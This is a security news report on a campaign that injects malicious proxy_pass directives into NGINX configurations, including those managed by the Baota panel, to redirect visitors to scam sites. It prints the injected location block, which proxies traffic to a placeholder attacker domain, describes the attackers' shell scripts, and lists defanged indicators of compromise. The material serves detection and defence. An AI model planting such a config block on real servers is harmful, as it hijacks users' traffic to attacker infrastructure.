Threat Actors Hacking NGINX Servers to Redirect Web Traffic to Malicious Servers
A recent campaign has been identified where attackers are compromising NGINX servers to redirect web traffic to malicious sites. These threat actors, associated with the "React2Shell" exploits, are now targeting NGINX configurations, particularly those…
A recent campaign has been identified where attackers are compromising NGINX servers to redirect web traffic to malicious sites. These threat actors, associated with the "React2Shell" exploits, are now targeting NGINX configurations, particularly those managed by the Baota (BT) panel, prevalent in Asia.
Instead of deploying traditional malware , the attackers alter legitimate server configuration files. By injecting malicious directives into NGINX's location blocks, they intercept user traffic and redirect it through attacker-controlled servers without immediate detection.
The attack leverages the proxy_pass directive, a standard NGINX feature meant for forwarding traffic to backend servers, such as PHP applications. The attackers reconfigure this to divert traffic to malicious domains, including gambling and scam sites . They also employ proxy_set_header to maintain legitimate-looking headers, complicating detection in logs.
The campaign employs an automated process using several shell scripts:
zx.sh : Initializes the environment and downloads tools, serving as the attack's entry point. bt.sh : Scans for Baota panel configurations and injects malicious code, targeting /www/server/panel/vhost/nginx . 4zdh.sh and zdh.sh : Inject payloads into NGINX configurations after validation, targeting generic Linux NGINX installations and collecting hijacked domain lists. ok.sh : Facilitates data exfiltration to the attacker's command and control server.
location /%PATH%/ { set $fullurl "$scheme://$host$request_uri"; rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break; proxy_set_header Host [Attacker_Domain]; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header User-Agent $http_user_agent; proxy_set_header Referer $http_referer; proxy_ssl_server_name on; proxy_pass http://[Attacker_Domain]; }
A recent campaign has been identified where attackers are compromising NGINX servers to redirect web traffic to malicious sites.
The campaign is particularly focused on Asian Top-Level Domains (TLDs) such as .in, .id, .th, and .bd, as well as government (.gov) and educational (.edu) websites.
Datadog Security Research advises administrators to inspect their NGINX configuration files for unexpected proxy_pass directives pointing to known malicious domains:
Indicator Type Value Threat Category Status Notes
Domain xzz.pier46[.]com Suspected C2 / Malware Infrastructure Active (unverified) Observed in malicious campaign
Domain ide.hashbank8[.]com Suspected C2 / Malware Infrastructure Active (unverified) Used for attacker communications
Domain th.cogicpt[.]org Suspected C2 / Malware Infrastructure Active (unverified) Potential exfiltration endpoint
Additionally, network logs indicating traffic to IP 158.94.210[.]227 suggest active communication with the attackers' infrastructure.
Based on reporting by Cyber Security News.